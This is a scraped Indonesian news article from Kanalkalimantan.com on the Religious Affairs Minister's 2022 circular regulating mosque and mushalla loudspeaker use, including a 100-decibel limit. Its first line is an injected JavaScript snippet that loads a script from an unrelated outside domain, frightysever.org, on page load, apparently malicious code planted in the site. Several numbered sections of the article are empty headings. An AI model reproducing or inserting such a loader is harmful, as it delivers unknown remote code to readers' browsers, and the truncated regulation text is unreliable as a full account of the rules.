(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Menteri Agama Yaqut Cholil Qoumas resmi menerbitkan surat edaran mengenai aturan pengeras suara masjid terbaru. Peraturan tersebut tertuang dalam Surat Edaran Menteri Agama No SE 05 tahun 2022 tentang Pedoman Penggunaan Pengeras Suara di Masjid dan Mushalla.
Berdasarkan pernyataan Menag, aturan pengeras suara di masjid atau mushalla merupakan kebutuhan bagi umat muslim khususnya di Indonesia. Namun disisi lain, terdapat keberagaman baik agama, suku bangsa, adat istiadat, bahasa dan lain sebagainya. Untuk itulah perlu dilakukan upaya untuk merawat persatuan dan kesatuan negara.
Surat edaran yang diterbitkan pada 18 Februari 2022 lalu itu ditujukan untuk seluruh kepala Kepala Kantor Wilayah Kementerian Agama Provinsi. Salah satu aturan pengeras suara masjid terbaru dijelaskan, volume pengeras suara di masjid dan mushalla maksimal 100 desibel.
Berikut ini aturan lengkap dalam Surat Edaran Menteri Agama tentang Pedoman Penggunaan pengeras suara di Masjid dan Mushalla:
Baca juga: Niat Curi Hp, Jambret di Pontianak Ketinggalan Tas Isi KK dan KTP
1. Umum
Pengeras suara terdiri dari pengeras suara dalam dan luar. Pengeras suara dalam merupakan perangkat pengeras suara yang difungsikan atau diarahkan ke dalam ruangan masjid/mushalla.
Sedangkan pengeras suara luar difungsikan atau diarahkan ke luar ruangan masjid/mushalla. Penggunaan pengeras suara pada masjid/mushalla bertujuan:
2. Pemasangan dan Penggunaan Pengeras Suara
Baca juga: Ini Para Pemenang Lomba Menulis Pengalaman Pribadi Gelaran Dispersip Banjar
3. Tata Cara Penggunaan Pengeras Suara saat Memasuki Waktu Shalat
Dalam aturan tersebut juga dijelaskan tata cara penggunaan pengeras suara saat memasuki waktu-waktu shalat, mulai dari subuh hingga shalat Jumat.
Waktu Shalat Zuhur, Asar, Magrib, dan Isya
Waktu Shalat Jumat
Itulah penjelasan mengenai aturan pengeras suara masjid terbaru. Tetaplah menghormati perbedaan yang ada antar sesama umat beragama. (Kanalkalimantan.com/Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More
KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
This website uses cookies.